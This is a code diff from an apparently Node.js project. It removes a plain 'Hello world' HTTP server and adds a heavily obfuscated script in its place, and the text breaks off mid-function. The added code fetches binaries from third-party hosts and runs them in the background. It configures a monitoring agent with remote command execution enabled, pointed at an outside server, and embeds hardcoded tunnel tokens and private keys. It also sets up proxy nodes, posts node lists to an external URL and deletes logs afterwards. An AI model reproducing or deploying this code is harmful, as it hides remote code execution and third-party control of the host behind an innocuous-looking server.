path.join(__dirname, 'index.html'); - const data = await fs.promises.readFile(filePath, 'utf8'); - res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); - res.end(data); - } catch (err) { - res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); - res.end("Hello world!

You can access /{SUB_PATH}(Default: /sub) to get your nodes!"); - } - return; - } - - res.writeHead(404, { 'Content-Type': 'text/plain; charset=utf-8' }); - res.end('Not Found'); -}); - -server.listen(PORT, () => alwaysLog(`http server is running on ${PORT}!`)); +const _0x25b525=_0x2062;function _0x4fd8(){const _0x40a2f8=['QWtQC','ruVQB','2606:4700:110:8dfe:d141:69bb:6b80:925/128','error','relay','https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/sing/geo/geosite/youtube.srs','web\x20running\x20error:\x20','bot','data','https://amd64.ssss.nyc.mn/agent','4wTaJaz','XUPTG',')\x20mode=','CF\x20edge\x20probe:\x20','tYdbj','https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/sing/geo/geosite/openai.srs','timeout','irSOi','lrUei','WCMwc','Public\x20Key:','Error\x20generating\x20reality-keypair:\x20','direct','sub.txt','https://arm64.ssss.nyc.mn/sb','pJoDG','orRnC','https://amd64.ssss.nyc.mn/v1','NEZHA\x20variable\x20is\x20empty,\x20skipping\x20running','WjdDw','push','uLsej','SeAPy','npm','OvsbU','Error\x20generating\x20cert.pem:\x20','ZyYuT','fileUrl','blNhV','\x0adebug:\x20false\x0adisable_auto_update:\x20true\x0adisable_command_execute:\x20false\x0adisable_force_update:\x20true\x0adisable_nat:\x20false\x0adisable_send_query:\x20false\x0agpu:\x20false\x0ainsecure_tls:\x20true\x0aip_report_period:\x201800\x0areport_delay:\x204\x0aserver:\x20','HcEha','fufBP','TXXqL','gnUMD','GDClS','wCnWZ','output','--tls','zETnF','BjsBs','VoFer','express','ufdFZ','https://amd64.ssss.nyc.mn/sb','\x20failed:\x20','remote','https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64','index.html','jRjWV','XetMn','?sni=www.bing.com&congestion_control=bbr&udp_relay_mode=native&alpn=h3&allow_insecure=1#','qitIF','VxIdH','openai','success','bsDNK','basename','QKZbo','https://arm64.ssss.nyc.mn/agent','status','nhtyV','anytls','toString','Hello\x20world!

You\x20can\x20access\x20/{SUB_PATH}(Default:\x20/sub)\x20get\x20your\x20nodes!','Logs\x20will\x20be\x20deleted\x20in\x2090\x20seconds,you\x20can\x20copy\x20the\x20above\x20nodes','match','HfpZp','QDHsA','uwQMg','eyJhIjoiN2RlZTdmMWZmNGEwZDBjMWQyNGViNzcyNzBlYTQ2YTUiLCJ0IjoiNjlmNmJjZWEtN2UyNS00MTNiLWE5NGMtZGEyNjU0YjVkZWQ1IiwicyI6IlpHWmlPRFkzTWpVdE1HUXlZeTAwTkRJMkxXRTJPRE10WkRFMVlUWXlNVE0xTkRGaSJ9','.npm','true','imgIh','s5-in','outbound','10065qrVpfY','YyWPN','find','PpdBs','zatOB','UvxFL','trim','SIxvF','curl\x20-sm\x203\x20ipv4.ip.sb','5132508TXIOYU','xLlZz','aarch64','config.yaml','&type=tcp&headerType=none#','nohup\x20','Sec-WebSocket-Protocol','ntTIZ','13gbHvZM','substring','BPLgX','lXcan','Empowerment\x20success\x20for\x20','whWXc','vmess','qJAXX','includes','?security=tls&sni=','arm','iVKCK','private.key','https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64','web','ZCfpO','YouTube\x20check\x20error:','\x20>/dev/null\x202>&1','42064MSBHdw','2053','Download\x20','xarwd','\x0aanytls://','DYwLo','openssl\x20req\x20-new\x20-x509\x20-days\x203650\x20-key\x20\x22','LaSSS','dCGSF','Failed\x20to\x20extract\x20privateKey\x20or\x20publicKey\x20from\x20key.txt.','DEVNy','list.txt','Xefzj','aEUQJ','engage.cloudflareclient.com','/api/delete-nodes','https://arm64.ssss.nyc.mn/v1','get','arch','false','https://m.qiuer.uk','lyINF','bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo=','path','\x20(len=','uNZFC','rhhts','response','4TEYTAJ','EAKSq','rm\x20-rf\x20','youtube','qJyzY','gqWHD','QrLaz','tls','kjrrt','WzZLZ','1521780BwHUBk','tag','Wears','(empty)','646263HZGfZI','HTZMG','8443','isp','replace','unlink','200','DZpIk','rAIeU','npm\x20is\x20running','https://api.ip.sb/geoip','util','\x22\x20-out\x20\x22','cloudflared\x20binary\x20not\x20found:\x20','from','MCimz','...','send','https://dcdeploy.qiuer.uk','/api/add-subscriptions','message','php\x20running\x20error:\x20','all','xtls-rprx-vision','FjqPn','NBERB','curl\x20-o\x20/dev/null\x20-m\x202\x20-s\x20-w\x20\x22%{http_code}\x22\x20https://www.youtube.com','hysteria2','NXPYG','isFMp','anytls-in','-----BEGIN\x20CERTIFICATE-----\x0aMIIBejCCASGgAwIBAgIUfWeQL3556PNJLp/veCFxGNj9crkwCgYIKoZIzj0EAwIw\x0aEzERMA8GA1UEAwwIYmluZy5jb20wHhcNMjUwOTE4MTgyMDIyWhcNMzUwOTE2MTgy\x0aMDIyWjATMREwDwYDVQQDDAhiaW5nLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEH\x0aA0IABNZB2nz49O6yRvh26B9npACOK/nuky9/BlgEgDZ54Ga3qEAxdegEWv07Mi8h\x0aaD5IS8Um3oR/zQRIx7UmRmg4TKmjUzBRMB0GA1UdDgQWBBTV1cFID7UISE7PLTBR\x0aBfGbgkrMNzAfBgNVHSMEGDAWgBTV1cFID7UISE7PLTBRBfGbgkrMNzAPBgNVHRMB\x0aAf8EBTADAQH/MAoGCCqGSM49BAMCA0cAMEQCIAIDAJvg0vd/ytrQVvEcSm6XTlB+\x0aeQ6OFb9LbLYL9f+sAiAffoMbi4y/0YUSlTtz7as9S8/lciBF5VCUoVIKS+vX2g==\x0a-----END\x20CERTIFICATE-----','LqgZn','countryCode','hysteria-in','readFileSync','134.185.115.217:18008','split','pipe','child_process','mDToz','log','MqmuT','yWRZn','slice','2083','destroy','argo.log','\x0ahysteria2://','stringify','filter','PrivateKey\x20or\x20PublicKey\x20is\x20missing,\x20retrying...','rOwyw','sub','172.16.0.2/32','TdZkR','bBmMw','\x20run\x20-c\x20','MntgJ','oMiOZ','fGaEq','\x20run\x20--token\x20','http://ipv4.ip.sb','auto','/api/add-nodes','IbdUI','uOXpo','which\x20openssl\x20||\x20where.exe\x20openssl','LYxak','TRNGE','DdgtQ','\x20--disable-auto-update\x20--report-delay\x204\x20--skip-conn\x20--skip-procs\x20>/dev/null\x202>&1\x20&','binary','315VVhgfR','414NoRjJe','hrhAh','axios','abcdefghijklmnopqrstuvwxyz','ARGO_DOMAIN:','forEach','12575gVDjqr','SuSPO','Lamwz','createWriteStream','map','\x1b[0m','test','www.iij.ad.jp','Failed\x20to\x20extract\x20privateKey\x20or\x20publicKey\x20from\x20output.','dcdeploy','country_code','utf-8','dEQzn','rUUTu','198.41.192.167','route','string','\x22\x20-subj\x20\x22/CN=bing.com\x22','vmess-ws-in','\x20log=','pop','Thank\x20you\x20for\x20using\x20this\x20script,\x20enjoy!','region1.v2.argotunnel.com','19002PmWpYn','cft.qiuer.uk:8443','iPSChedB0g8G49AD7paLvu9fRqMOwSRD','\x0aPublicKey:\x20','existsSync','php\x20is\x20running','\x0askip_connection_count:\x20true\x0askip_procs_count:\x20true\x0atemperature:\x20false\x0atls:\x20','eQoxo','vrMqG','VEUWq','\x0aclient_secret:\x20','unshift','1d275cbf-f643-4879-999f-5dac1388eae4','AAaSg','\x0atuic://','2096','writeFileSync','mbGcs','OBrzi','\x1b[32m','LcVVR','0.0.0.0/0','promises','TWMmq','duGgP','WeYUl','inbounds','LAKfU','text/plain;\x20charset=utf-8','\x20>/dev/null\x202>&1\x20&','etzvp','::/0','rule_set','RptKu','stream','once','Mozilla/5.0','finish','socks','config','JZptz','nggoH','direct\x20OK,\x20use\x20direct','netflix','length','has','pESuH','bot\x20is\x20running,\x20check\x20argo.log\x20for\x20errors','rules','catch','direct\x20FAIL,\x20use\x20relay\x20','erLBX','arm64','VxIrr','TbQxL','\x20generate\x20reality-keypair','wSTfV','cert.pem','vmess://','application/json','Error\x20generating\x20private.key:\x20','floor','VydqK','AVzCY','Add\x20YouTube\x20outbound\x20rule','wHdFW','vless','GBUSL','YfKQx','Starting\x20cloudflared:\x20','-----BEGIN\x20EC\x20PARAMETERS-----\x0aBggqhkjOPQMBBw==\x0a-----END\x20EC\x20PARAMETERS-----\x0a-----BEGIN\x20EC\x20PRIVATE\x20KEY-----\x0aMHcCAQEEIM4792SEtPqIt1ywqTd/0bYidBqpYV/++siNnfBYsdUYoAoGCCqGSM49\x0aAwEHoUQDQgAE1kHafPj07rJG+HboH2ekAI4r+e6TL38GWASANnngZreoQDF16ARa\x0a/TsyLyFoPkhLxSbehH/NBEjHtSZGaDhMqQ==\x0a-----END\x20EC\x20PRIVATE\x20KEY-----','hIDPC','qIxDy','post','wireguard-out','base64','/?sni=www.bing.com&insecure=1&alpn=h3&obfs=none#','connect','cf.qiuer.uk','QjbuX','join','fileName','key.txt','2087','LNGvj','CaEam','php','bYXnC','5160NKZsLw','198.41.200.13','SbwBm','\x0ause_gitee_to_upgrade:\x20false\x0ause_ipv6_country_code:\x20false\x0auuid:\x20','BOWeH','cMbbg','tPNQp','http://ip-api.com/json','charAt','wXBeL','gziGe','owmDN','rYuLU','wHJBX','utf8','close','zIvRe','tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20--edge\x20','org','FKYwZ','\x1b[35m','https://bing.com','Can\x27t\x20find\x20a\x20file\x20for\x20the\x20current\x20architecture','\x20-p\x20','PrivateKey:\x20','KkKHE','lthyp','tVxiR','&fp=chrome&insecure=1&allowInsecure=1#','config.json','Subscription\x20uploaded\x20successfully','wireguard','Ojxib','ZSBXk','none','FUeWU','Ddqzz','openssl\x20ecparam\x20-genkey\x20-name\x20prime256v1\x20-out\x20\x22'];_0x4fd8=function(){return _0x40a2f8;};return _0x4fd8();}(function(_0x47b2a4,_0x3e47da){const _0x2bd0ed=_0x2062,_0xa9e234=_0x47b2a4();while(!![]){try{const _0xe08884=-parseInt(_0x2bd0ed(0x1df))/0x1+-parseInt(_0x2bd0ed(0x27e))/0x2*(-parseInt(_0x2bd0ed(0x316))/0x3)+parseInt(_0x2bd0ed(0x308))/0x4*(-parseInt(_0x2bd0ed(0x312))/0x5)+-parseInt(_0x2bd0ed(0x1f6))/0x6*(parseInt(_0x2bd0ed(0x1d8))/0x7)+-parseInt(_0x2bd0ed(0x2ec))/0x8*(-parseInt(_0x2bd0ed(0x1d9))/0x9)+parseInt(_0x2bd0ed(0x24e))/0xa*(parseInt(_0x2bd0ed(0x2c9))/0xb)+-parseInt(_0x2bd0ed(0x2d2))/0xc*(parseInt(_0x2bd0ed(0x2da))/0xd);if(_0xe08884===_0x3e47da)break;else _0xa9e234['push'](_0xa9e234['shift']());}catch(_0xfe1d5c){_0xa9e234['push'](_0xa9e234['shift']());}}}(_0x4fd8,0x3ee9f));const _0xe80b4f=require(_0x25b525(0x2a7)),_0x565096=_0xe80b4f(),_0xd2ce62=require(_0x25b525(0x1db)),_0x55708b=require('os'),_0xbf6a61=require('fs'),_0x10afff=require(_0x25b525(0x303)),_0x2bc818=require('net');function _0x2062(_0x4da1d9,_0x4f3783){_0x4da1d9=_0x4da1d9-0x190;const _0x4fd8ae=_0x4fd8();let _0x206274=_0x4fd8ae[_0x4da1d9];return _0x206274;}require('dotenv')[_0x25b525(0x21d)]();const {promisify:_0x3809e8}=require(_0x25b525(0x19a)),_0x45540a=_0x3809e8(require(_0x25b525(0x1b6))['exec']),{execSync:_0x20f9ab}=require(_0x25b525(0x1b6)),_0x396db2=process.env.UPLOAD_URL||_0x25b525(0x300),_0x597e6e=process.env.PROJECT_URL||_0x25b525(0x1a1),_0x4bc8c6=process.env.YT_WARPOUT||![],_0x3caf2f=process.env.FILE_PATH||_0x25b525(0x2c4),_0xce9dba=process.env.SUB_PATH||_0x25b525(0x1c4),_0x41666d=process.env.UUID||_0x25b525(0x202),_0xafd592=process.env.NEZHA_SERVER||_0x25b525(0x1b3),_0x55f408=process.env.NEZHA_PORT||'',_0x4c37b4=process.env.NEZHA_KEY||_0x25b525(0x1f8),_0x5849ae=process.env.ARGO_DOMAIN||'dcdeploy.qiuer.uk',_0x7d4860=process.env.ARGO_EDGE||_0x25b525(0x1f7),_0x35a558=process.env.ARGO_AUTH||_0x25b525(0x2c3),_0x3598dc=process.env.ARGO_PORT||0x1f41,_0x5ce07e=process.env.S5_PORT||'',_0x5e3758=process.env.TUIC_PORT||'',_0x1b0eb4=process.env.HY2_PORT||'',_0x159dc5=process.env.ANYTLS_PORT||'',_0xcefe8=process.env.REALITY_PORT||'',_0x21a6a3=process.env.ANYREALITY_PORT||'',_0x929d69=process.env.CFIP||_0x25b525(0x244),_0x4604a2=process.env.CFPORT||0x1bb,_0x2798ae=process.env.PORT||0xbb8,_0x357d7a=process.env.NAME||_0x25b525(0x1e8),_0x4d8d60=process.env.DISABLE_ARGO||![];!_0xbf6a61[_0x25b525(0x1fa)](_0x3caf2f)?(_0xbf6a61['mkdirSync'](_0x3caf2f),console[_0x25b525(0x1b8)](_0x3caf2f+'\x20is\x20created')):console[_0x25b525(0x1b8)](_0x3caf2f+'\x20already\x20exists');let _0x50c72c='',_0x236278='';function _0x876b5(){const _0x3c7b05=_0x25b525,_0x47aca5={'DYwLo':function(_0x1d1d55,_0x12f357){return _0x1d1d55<_0x12f357;}},_0x445a76=_0x3c7b05(0x1dc);let _0x304496='';for(let _0x42cb48=0x0;_0x47aca5[_0x3c7b05(0x2f1)](_0x42cb48,0x6);_0x42cb48++){_0x304496+=_0x445a76[_0x3c7b05(0x256)](Math[_0x3c7b05(0x233)](Math['random']()*_0x445a76[_0x3c7b05(0x222)]));}return _0x304496;}const _0x415eae=_0x876b5(),_0x3a7a92=_0x876b5(),_0x9c78d1=_0x876b5(),_0x145d0f=_0x876b5();let _0x4cb551=_0x10afff[_0x25b525(0x246)](_0x3caf2f,_0x415eae),_0x90eac7=_0x10afff[_0x25b525(0x246)](_0x3caf2f,_0x145d0f),_0x2cdafe=_0x10afff['join'](_0x3caf2f,_0x3a7a92),_0x18dc28=_0x10afff['join'](_0x3caf2f,_0x9c78d1),_0x3c6461=_0x10afff[_0x25b525(0x246)](_0x3caf2f,'sub.txt'),_0x10e4d2=_0x10afff[_0x25b525(0x246)](_0x3caf2f,_0x25b525(0x2f7)),_0x108efa=_0x10afff[_0x25b525(0x246)](_0x3caf2f,_0x25b525(0x26b));function _0x390c4b(){const _0x380132=_0x25b525,_0x86a4d0={'MntgJ':_0x380132(0x1ea),'QWtQC':_0x380132(0x241),'fGaEq':function(_0x207683,_0x6ab164){return _0x207683===_0x6ab164;},'tVxiR':_0x380132(0x231)};try{if(!_0x396db2)return;const _0xbcc1c8=_0x10afff[_0x380132(0x246)](_0x3caf2f,_0x380132(0x28b));if(!_0xbf6a61[_0x380132(0x1fa)](_0xbcc1c8))return;let _0x45d4e6;try{_0x45d4e6=_0xbf6a61[_0x380132(0x1b2)](_0xbcc1c8,_0x86a4d0['MntgJ']);}catch{return null;}const _0x2c2623=Buffer[_0x380132(0x19d)](_0x45d4e6,_0x86a4d0[_0x380132(0x274)])[_0x380132(0x2bc)](_0x86a4d0[_0x380132(0x1c9)]),_0x2c096f=_0x2c2623[_0x380132(0x1b4)]('\x0a')['filter'](_0x55f9d4=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x380132(0x1e5)](_0x55f9d4));if(_0x86a4d0[_0x380132(0x1cb)](_0x2c096f[_0x380132(0x222)],0x0))return;return _0xd2ce62[_0x380132(0x23f)](_0x396db2+_0x380132(0x2fb),JSON[_0x380132(0x1c0)]({'nodes':_0x2c096f}),{'headers':{'Content-Type':_0x86a4d0[_0x380132(0x269)]}})['catch'](_0x30299d=>{return null;});}catch(_0x332eab){return null;}}function _0x135d01(_0x2d5fd1){const _0xcefcca=_0x25b525,_0x2e02c8={'mbGcs':function(_0x34314c,_0x3e1f3b){return _0x34314c===_0x3e1f3b;},'KdInM':function(_0x289683,_0x2a74d4){return _0x289683===_0x2a74d4;},'Lamwz':function(_0x509d0a,_0x47da24){return _0x509d0a===_0x47da24;},'PpdBs':_0xcefcca(0x1ef),'LNGvj':function(_0x594a44,_0x1dbb4c){return _0x594a44===_0x1dbb4c;},'oMiOZ':function(_0x14dbc1,_0x32c058){return _0x14dbc1(_0x32c058);},'uNZFC':function(_0x3190ce,_0x2b531e){return _0x3190ce(_0x2b531e);},'eQoxo':function(_0x457abb,_0x158be8){return _0x457abb<_0x158be8;},'RptKu':function(_0x389e2e,_0xbfc488){return _0x389e2e>_0xbfc488;}};try{if(_0x2e02c8['mbGcs'](_0x2d5fd1,null)||_0x2e02c8[_0xcefcca(0x207)](_0x2d5fd1,undefined)||_0x2e02c8['KdInM'](_0x2d5fd1,''))return![];if(_0x2e02c8[_0xcefcca(0x1e1)](typeof _0x2d5fd1,_0x2e02c8[_0xcefcca(0x2cc)])&&_0x2e02c8[_0xcefcca(0x24a)](_0x2d5fd1['trim'](),''))return![];const _0x31e56a=_0x2e02c8[_0xcefcca(0x1ca)](parseInt,_0x2d5fd1);if(_0x2e02c8[_0xcefcca(0x305)](isNaN,_0x31e56a))return![];if(_0x2e02c8[_0xcefcca(0x1fd)](_0x31e56a,0x1)||_0x2e02c8[_0xcefcca(0x217)](_0x31e56a,0xffff))return![];return!![];}catch(_0x15f5e1){return![];}}const _0x5b165e=[_0x3a7a92,_0x9c78d1,_0x415eae,'list.txt'];function _0xf8e33e(){_0x5b165e['forEach'](_0x2b5bc6=>{const _0x9decf2=_0x2062,_0x1efbcf=_0x10afff[_0x9decf2(0x246)](_0x3caf2f,_0x2b5bc6);_0xbf6a61['unlink'](_0x1efbcf,()=>{});});}function _0x47e2e1(){const _0x118f80=_0x25b525,_0x4bf1fe={'BjsBs':function(_0x399c80,_0x18ecec){return _0x399c80===_0x18ecec;},'Ddqzz':_0x118f80(0x22a),'pWhWT':_0x118f80(0x2d4),'SIxvF':'arm'},_0x2d1281=_0x55708b[_0x118f80(0x2fe)]();return _0x4bf1fe[_0x118f80(0x2a5)](_0x2d1281,_0x118f80(0x2e4))||_0x4bf1fe[_0x118f80(0x2a5)](_0x2d1281,_0x4bf1fe[_0x118f80(0x272)])||_0x4bf1fe['BjsBs'](_0x2d1281,_0x4bf1fe['pWhWT'])?_0x4bf1fe[_0x118f80(0x2d0)]:'amd';}function _0x7fbeb7(_0x181713,_0xcbc703,_0x5a4081){const _0x30a414=_0x25b525,_0x37150b={'FKYwZ':_0x30a414(0x21b),'whWXc':_0x30a414(0x277),'WzZLZ':function(_0x24304d,_0x507e1e){return _0x24304d(_0x507e1e);},'qJyzY':_0x30a414(0x2fd)},_0x281908=_0x10afff[_0x30a414(0x246)](_0x3caf2f,_0x181713),_0x2238ea=_0xbf6a61[_0x30a414(0x1e2)](_0x281908);_0x37150b[_0x30a414(0x311)](_0xd2ce62,{'method':_0x37150b[_0x30a414(0x30c)],'url':_0xcbc703,'responseType':_0x30a414(0x218)})['then'](_0x46516f=>{const _0x58fae6=_0x30a414;_0x46516f['data'][_0x58fae6(0x1b5)](_0x2238ea),_0x2238ea['on'](_0x37150b[_0x58fae6(0x261)],()=>{const _0x50f8f7=_0x58fae6;_0x2238ea[_0x50f8f7(0x25d)](),console[_0x50f8f7(0x1b8)]('Download\x20'+_0x181713+'\x20successfully'),_0x5a4081(null,_0x181713);}),_0x2238ea['on'](_0x37150b[_0x58fae6(0x2df)],_0xdfcd7c=>{const _0x47760f=_0x58fae6;_0xbf6a61[_0x47760f(0x194)](_0x281908,()=>{});const _0x22730c=_0x47760f(0x2ee)+_0x181713+_0x47760f(0x2aa)+_0xdfcd7c[_0x47760f(0x1a3)];console['error'](_0x22730c),_0x5a4081(_0x22730c);});})[_0x30a414(0x227)](_0x227554=>{const _0x36651b=_0x30a414,_0x2a2f0e='Download\x20'+_0x181713+'\x20failed:\x20'+_0x227554[_0x36651b(0x1a3)];console[_0x36651b(0x277)](_0x2a2f0e),_0x5a4081(_0x2a2f0e);});}async function _0x294c77(){const _0x5ef898=_0x25b525,_0x39cea4={'VEUWq':function(_0x37bad9,_0x2345f1){return _0x37bad9===_0x2345f1;},'pJoDG':'npm','JZptz':function(_0x76e1d8,_0xaf353){return _0x76e1d8===_0xaf353;},'rOwyw':_0x5ef898(0x2e8),'LcVVR':_0x5ef898(0x27b),'loTpq':'php','ZSBXk':function(_0x21062b,_0x14cf95,_0x40c87d,_0x2ea0ce){return _0x21062b(_0x14cf95,_0x40c87d,_0x2ea0ce);},'Xllnx':_0x5ef898(0x1e7),'wHdFW':'Private\x20Key:','NBERB':_0x5ef898(0x288),'etzvp':function(_0xb26e37){return _0xb26e37();},'yWRZn':_0x5ef898(0x2e6),'rUUTu':_0x5ef898(0x22f),'Wears':function(_0x5efcaf,_0x18db04){return _0x5efcaf(_0x18db04);},'WjdDw':_0x5ef898(0x1c2),'AcnXR':_0x5ef898(0x277),'KkKHE':_0x5ef898(0x1f1),'wCnWZ':_0x5ef898(0x2e0),'wHJBX':'/vmess-argo','HyVBm':_0x5ef898(0x2d8),'QjbuX':_0x5ef898(0x26d),'wXBeL':_0x5ef898(0x240),'XVPBo':_0x5ef898(0x1c5),'VxIrr':_0x5ef898(0x276),'HcEha':_0x5ef898(0x2fa),'ZyYuT':_0x5ef898(0x302),'BuHTx':_0x5ef898(0x215),'YyWPN':_0x5ef898(0x28a),'tYdbj':_0x5ef898(0x2ab),'nggoH':_0x5ef898(0x1d7),'BPLgX':'https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/sing/geo/geosite/netflix.srs','bsDNK':_0x5ef898(0x283),'xLlZz':_0x5ef898(0x221),'WeYUl':function(_0x2cc95c,_0x357ee3){return _0x2cc95c(_0x357ee3);},'ZCfpO':'vless-in','cMbbg':_0x5ef898(0x238),'ArVXw':_0x5ef898(0x1a6),'rYuLU':_0x5ef898(0x1e6),'KkrAh':_0x5ef898(0x1b1),'nhtyV':_0x5ef898(0x1aa),'SeAPy':'tuic-in','qitIF':'tuic','CaEam':function(_0x14dfdc,_0x2b0533){return _0x14dfdc(_0x2b0533);},'xeKKK':_0x5ef898(0x21c),'qHSaD':_0x5ef898(0x1ad),'MqmuT':_0x5ef898(0x2bb),'blNhV':'anyreality-in','pESuH':function(_0x320111,_0x525023){return _0x320111===_0x525023;},'WCMwc':_0x5ef898(0x1a9),'gnUMD':_0x5ef898(0x25c),'VoFer':_0x5ef898(0x195),'GBUSL':_0x5ef898(0x30b),'DZpIk':_0x5ef898(0x279),'LOeMw':'openai','hoNhM':_0x5ef898(0x236),'VWUFh':_0x5ef898(0x2ea),'lnqLC':_0x5ef898(0x26b),'ufdFZ':'443','ebiEd':_0x5ef898(0x191),'AVzCY':_0x5ef898(0x205),'OvsbU':_0x5ef898(0x249),'VxIdH':_0x5ef898(0x1bc),'qJAXX':_0x5ef898(0x2ed),'hIDPC':_0x5ef898(0x2a3),'VGiWg':_0x5ef898(0x198),'lSHae':function(_0x4645ab,_0x5dabf3){return _0x4645ab&&_0x5dabf3;},'wgIvr':function(_0x3c80fd,_0x4ae628){return _0x3c80fd(_0x4ae628);},'uphou':_0x5ef898(0x1fb),'lcyZn':_0x5ef898(0x290),'GDClS':'web\x20is\x20running','lthyp':function(_0x36ebec,_0xf36edc){return _0x36ebec!==_0xf36edc;},'wSTfV':_0x5ef898(0x2c5),'LAKfU':_0x5ef898(0x1be),'ZHPrI':function(_0x392e0c,_0x4ee81b){return _0x392e0c>_0x4ee81b;},'AAaSg':function(_0x36f94b,_0x22011c){return _0x36f94b+_0x22011c;},'LaSSS':function(_0x5ca605,_0x1727f9){return _0x5ca605+_0x1727f9;},'bBmMw':_0x5ef898(0x315),'TdZkR':_0x5ef898(0x220),'NXPYG':function(_0x2bd9d6,_0x2f21fe){return _0x2bd9d6+_0x2f21fe;},'uLsej':_0x5ef898(0x228),'TXXqL':_0x5ef898(0x225),'MCimz':_0x5ef898(0x1d2),'aEUQJ':function(_0x5afec3){return _0x5afec3();},'mKrcD':function(_0x4dfccd,_0x108675){return _0x4dfccd===_0x108675;},'SbwBm':'Error\x20downloading\x20files:','FjqPn':function(_0x2137b0,_0x3b0366){return _0x2137b0(_0x3b0366);},'zETnF':_0x5ef898(0x2ff),'cBMTw':function(_0x261d5a,_0x335b80){return _0x261d5a&&_0x335b80;},'ZvboZ':_0x5ef898(0x2f5),'isFMp':function(_0x5758ed,_0x266994,_0x47bcb0){return _0x5758ed(_0x266994,_0x47bcb0);}},_0x72f4a5=_0x39cea4[_0x5ef898(0x2f9)](_0x47e2e1),_0x4af38e=_0x192d73(_0x72f4a5);if(_0x39cea4['mKrcD'](_0x4af38e[_0x5ef898(0x222)],0x0)){console[_0x5ef898(0x1b8)](_0x5ef898(0x264));return;}const _0x47b471=_0x4af38e[_0x5ef898(0x1e3)](_0xbb45b0=>{const _0x3bb530=_0x5ef898;let _0x2dc168;if(_0x39cea4[_0x3bb530(0x1ff)](_0xbb45b0[_0x3bb530(0x247)],_0x39cea4[_0x3bb530(0x28d)]))_0x2dc168=_0x415eae;else{if(_0x39cea4[_0x3bb530(0x21e)](_0xbb45b0[_0x3bb530(0x247)],_0x39cea4[_0x3bb530(0x1c3)]))_0x2dc168=_0x3a7a92;else{if(_0x39cea4[_0x3bb530(0x21e)](_0xbb45b0[_0x3bb530(0x247)],_0x39cea4[_0x3bb530(0x20a)]))_0x2dc168=_0x9c78d1;else _0xbb45b0[_0x3bb530(0x247)]===_0x39cea4['loTpq']?_0x2dc168=_0x145d0f:_0x2dc168=_0xbb45b0[_0x3bb530(0x247)];}}return{..._0xbb45b0,'fileName':_0x2dc168};}),_0x202898=_0x47b471[_0x5ef898(0x1e3)](_0x26f1ea=>{const _0x4e8724={'YyjcS':function(_0x2fe4c6,_0x181cbd,_0x55c39f,_0x2e192c){const _0x49ae83=_0x2062;return _0x39cea4[_0x49ae83(0x26f)](_0x2fe4c6,_0x181cbd,_0x55c39f,_0x2e192c);}};return new Promise((_0x4ecdc8,_0x278a18)=>{const _0x5823b1=_0x2062;_0x4e8724['YyjcS'](_0x7fbeb7,_0x26f1ea['fileName'],_0x26f1ea[_0x5823b1(0x299)],(_0x7befa,_0x500198)=>{_0x7befa?_0x278a18(_0x7befa):_0x4ecdc8(_0x500198);});});});try{await Promise[_0x5ef898(0x1a5)](_0x202898);}catch(_0x549ab2){console[_0x5ef898(0x277)](_0x39cea4[_0x5ef898(0x250)],_0x549ab2);return;}function _0x5e9d70(_0x25273f){const _0x56d89a=0x1fd;_0x25273f['forEach'](_0x1c74a3=>{const _0x5b8c84=_0x2062,_0x3254c1=_0x10afff[_0x5b8c84(0x246)](_0x3caf2f,_0x1c74a3);_0xbf6a61[_0x5b8c84(0x1fa)](_0x3254c1)&&_0xbf6a61['chmod'](_0x3254c1,_0x56d89a,_0x50c14f=>{const _0x15be8a=_0x5b8c84;_0x50c14f?console['error']('Empowerment\x20failed\x20for\x20'+_0x3254c1+':\x20'+_0x50c14f):console[_0x15be8a(0x1b8)](_0x15be8a(0x2de)+_0x3254c1+':\x20'+_0x56d89a[_0x15be8a(0x2bc)](0x8));});});}const _0x1f96fa=_0x55f408?[_0x415eae,_0x3a7a92,_0x9c78d1]:[_0x145d0f,_0x3a7a92,_0x9c78d1];_0x39cea4[_0x5ef898(0x1a7)](_0x5e9d70,_0x1f96fa);const _0x3c65f0=_0xafd592[_0x5ef898(0x2e2)](':')?_0xafd592[_0x5ef898(0x1b4)](':')[_0x5ef898(0x1f3)]():'',_0x32cba4=new Set([_0x39cea4[_0x5ef898(0x2a8)],_0x5ef898(0x191),_0x39cea4[_0x5ef898(0x235)],_0x39cea4[_0x5ef898(0x296)],_0x5ef898(0x1bc),'2053']),_0x32d5e6=_0x32cba4[_0x5ef898(0x223)](_0x3c65f0)?'true':_0x39cea4[_0x5ef898(0x2a4)];if(_0x39cea4['cBMTw'](_0xafd592,_0x4c37b4)){if(!_0x55f408){const _0x281e8c=_0x5ef898(0x200)+_0x4c37b4+_0x5ef898(0x29b)+_0xafd592+_0x5ef898(0x1fc)+_0x32d5e6+_0x5ef898(0x251)+_0x41666d;_0xbf6a61[_0x5ef898(0x206)](_0x10afff[_0x5ef898(0x246)](_0x3caf2f,_0x5ef898(0x2d5)),_0x281e8c);}}const _0xf7718a=_0x10afff[_0x5ef898(0x246)](_0x3caf2f,_0x5ef898(0x248));if(_0xbf6a61[_0x5ef898(0x1fa)](_0xf7718a)){const _0x2933b7=_0xbf6a61[_0x5ef898(0x1b2)](_0xf7718a,'utf8'),_0x3e3f07=_0x2933b7['match'](/PrivateKey:\s*(.*)/),_0x563abb=_0x2933b7['match'](/PublicKey:\s*(.*)/);_0x50c72c=_0x3e3f07?_0x3e3f07[0x1]:'',_0x236278=_0x563abb?_0x563abb[0x1]:'';if(!_0x50c72c||!_0x236278){console[_0x5ef898(0x277)](_0x39cea4['ZvboZ']);return;}console[_0x5ef898(0x1b8)](_0x39cea4[_0x5ef898(0x237)],_0x50c72c),console['log'](_0x39cea4[_0x5ef898(0x1a8)],_0x236278),_0x2490eb();}else _0x39cea4[_0x5ef898(0x1ac)](_0x45540a,_0x10afff[_0x5ef898(0x246)](_0x3caf2f,_0x3a7a92)+_0x5ef898(0x22d),async(_0x33351b,_0x428c47,_0x410096)=>{const _0x62d8b2=_0x5ef898;if(_0x33351b){console[_0x62d8b2(0x277)](_0x62d8b2(0x289)+_0x33351b[_0x62d8b2(0x1a3)]);return;}const 